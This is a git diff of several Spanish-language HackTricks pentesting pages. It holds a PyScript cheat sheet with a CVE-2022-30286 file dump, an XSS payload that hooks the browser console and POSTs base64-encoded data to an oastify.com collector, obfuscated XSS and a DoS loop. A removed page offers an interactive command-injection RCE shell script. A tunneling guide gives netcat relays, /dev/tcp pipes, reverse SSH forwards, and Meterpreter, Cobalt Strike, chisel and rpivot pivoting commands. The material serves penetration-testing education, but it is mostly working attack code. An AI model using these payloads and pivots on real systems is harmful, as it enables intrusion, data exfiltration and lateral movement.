PyScript es un nuevo marco de trabajo desarrollado para integrar Python en HTML, por lo que se puede utilizar junto con HTML. En esta hoja de trucos, encontrará cómo utilizar PyScript para sus fines de prueba de penetración.
### Volcado / Recuperación de archivos del sistema de archivos de memoria virtual de Emscripten:
`ID de CVE: CVE-2022-30286`\
\
Código:
```html
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
out = fin.read()
print(out)
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)
### [Exfiltración de datos OOB del sistema de archivos de memoria virtual Emscripten (monitoreo de consola)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
`ID de CVE: CVE-2022-30286`\
\
Código:
```html
<py-script>
x = "CyberGuy"
if x == "CyberGuy":
with open('/lib/python3.10/asyncio/tasks.py') as output:
contents = output.read()
print(contents)
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
### Cross Site Scripting (Ordinario)
Código:
```python
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)
### Cross Site Scripting (Python Ofuscado)
Código:
```python
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)
### Cross Site Scripting (Ofuscación de JavaScript)
Código:
```html
<py-script>
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)
### Ataque DoS (Bucle infinito)
Código:
```html
<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>
```
Resultado:
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

136
generic-methodologies-and-resources/python/web-requests.md
View File

@ -1,136 +0,0 @@
# Solicitudes web
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas** del mundo.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Solicitudes de Python
```python
import requests
url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231
#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")
##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()
def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp
def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp
def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid
def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid
def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Comando de Python para explotar una RCE
```python
import requests
import re
from cmd import Cmd
class Terminal(Cmd):
prompt = "Inject => "
def default(self, args):
output = RunCmd(args)
print(output)
def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1
term = Terminal()
term.cmdloop()
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

71
generic-methodologies-and-resources/python/venv.md → generic-methodologies-and-resources/search-exploits.md
View File

@ -1,9 +1,9 @@
# venv
# Buscar Exploits
![](<../../.gitbook/assets/image (9) (1) (2).png>)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -13,46 +13,67 @@ Obtenga acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
```bash
sudo apt-get install python3-venv
#Now, go to the folder you want to create the virtual environment
python3 -m venv <Dirname>
python3 -m venv pvenv #In this case the folder "pvenv" is going to be created
source <Dirname>/bin/activate
source pvenv/bin/activate #Activate the environment
#You can now install whatever python library you need
deactivate #To deactivate the virtual environment
```
### Navegador
Siempre busque en "google" u otros: **\<nombre\_del\_servicio> \[versión] exploit**
También debe probar la **búsqueda de exploits de shodan** desde [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Útil para buscar exploits para servicios en **exploitdb desde la consola**.
```bash
The error
error: invalid command 'bdist_wheel'
is fixed running
pip3 install wheel
inside the virtual environment
#Searchsploit tricks
searchsploit "linux Kernel" #Example
searchsploit apache mod_ssl #Other example
searchsploit -m 7618 #Paste the exploit in current directory
searchsploit -p 7618[.c] #Show complete path
searchsploit -x 7618[.c] #Open vi to inspect the exploit
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) es otra herramienta para buscar exploits.
### MSF-Search
```bash
msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
Si no se encuentra nada, intente buscar la tecnología utilizada dentro de [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners
También se puede buscar en la base de datos de Vulners: [https://vulners.com/](https://vulners.com)
### Sploitus
Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
![](<../../.gitbook/assets/image (9) (1) (2).png>)
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

590
generic-methodologies-and-resources/tunneling-and-port-forwarding.md Normal file
View File

@ -0,0 +1,590 @@
# Tunelización y Reenvío de Puertos
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Consejo de Nmap
{% hint style="warning" %}
Los escaneos **ICMP** y **SYN** no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que funcione.
{% endhint %}
## **Bash**
**Host -> Salto -> InternoA -> InternoB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
```
## **SSH**
Conexión gráfica SSH (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Puerto Local a Puerto Remoto
Abrir un nuevo puerto en el servidor SSH --> Otro puerto
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### Puerto a Puerto
Puerto local --> Host comprometido (SSH) --> Tercer\_equipo:Puerto
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Puerto local --> Host comprometido (SSH) --> Donde sea
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Reenvío de puertos inverso
Esto es útil para obtener shells inversos desde hosts internos a través de una DMZ hacia su host:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
### VPN-Tunnel
Necesitas **tener permisos de root en ambos dispositivos** (ya que vas a crear nuevas interfaces) y la configuración de sshd debe permitir el inicio de sesión como root:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Habilitar el reenvío en el lado del servidor
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
Establecer una nueva ruta en el lado del cliente
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Puedes **tunelizar** todo el **tráfico** hacia una **subred** a través de un host mediante **ssh**.\
Por ejemplo, redirigiendo todo el tráfico que va hacia 10.10.10.0/24.
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
# Conectar con una clave privada
En algunos casos, la conexión a un servidor remoto solo es posible mediante una clave privada. En estos casos, se puede utilizar la opción `-i` de `ssh` para especificar la ruta de la clave privada a utilizar.
```bash
ssh -i /path/to/private/key user@host
```
También se puede agregar la clave privada al agente SSH para evitar tener que especificar la ruta de la clave cada vez que se conecta al servidor.
```bash
ssh-add /path/to/private/key
ssh user@host
```
Si se tiene una clave privada protegida por contraseña, se debe desbloquear antes de agregarla al agente SSH.
```bash
ssh-add /path/to/unlocked/private/key
```
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
## Meterpreter
### Port2Port
Puerto local --> Host comprometido (sesión activa) --> Tercer\_equipo:Puerto
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKS es un protocolo de red que permite a los usuarios de una red privada acceder a Internet a través de un servidor proxy. SOCKS se utiliza comúnmente para eludir las restricciones de red y para ocultar la dirección IP del usuario. SOCKS se puede utilizar para el tráfico de cualquier protocolo de red, incluidos HTTP, SMTP, POP3 y FTP.
Para usar SOCKS, se necesita un cliente SOCKS y un servidor SOCKS. El cliente SOCKS se ejecuta en la máquina del usuario y se configura para enviar todo el tráfico de red a través del servidor SOCKS. El servidor SOCKS se ejecuta en una máquina remota y actúa como intermediario entre el cliente SOCKS y el destino final de la conexión de red.
SOCKS es una buena opción para eludir las restricciones de red, ya que no está limitado a un protocolo de red específico y puede enrutar todo el tráfico de red a través del servidor SOCKS. Sin embargo, SOCKS no proporciona cifrado de extremo a extremo, lo que significa que el tráfico de red puede ser interceptado y leído por terceros.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Otra forma:
```bash
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### Proxy SOCKS
Abra un puerto en el servidor de equipo que escuche en todas las interfaces que se puedan usar para **enrutar el tráfico a través del beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
### rPort2Port
{% hint style="warning" %}
En este caso, el **puerto se abre en el host beacon**, no en el Servidor de Equipo y el tráfico se envía al Servidor de Equipo y desde allí al host:puerto indicado.
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
A tener en cuenta:
* El reenvío de puerto inverso de Beacon **siempre tuneliza el tráfico hacia el Servidor de Equipo** y el **Servidor de Equipo envía el tráfico a su destino previsto**, por lo que no debe usarse para relé de tráfico entre máquinas individuales.
* El **tráfico se tuneliza dentro del tráfico C2 de Beacon**, no sobre sockets separados, y también funciona sobre enlaces P2P.
* **No es necesario ser un administrador local** para crear reenvíos de puerto inversos en puertos altos.
### rPort2Port local
{% hint style="warning" %}
En este caso, el **puerto se abre en el host de Beacon**, no en el Servidor de Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor de Equipo) y desde allí al host:puerto indicado.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
## reGeorg
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Necesitas subir un túnel de archivo web: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
Puedes descargarlo desde la página de lanzamientos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
Necesitas usar la **misma versión para el cliente y el servidor**
### socks
```bash
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Reenvío de puertos
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
```
## Rpivot
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Túnel inverso. El túnel se inicia desde la víctima.\
Se crea un proxy socks4 en 127.0.0.1:1080.
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pivotar a través de un proxy **NTLM**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
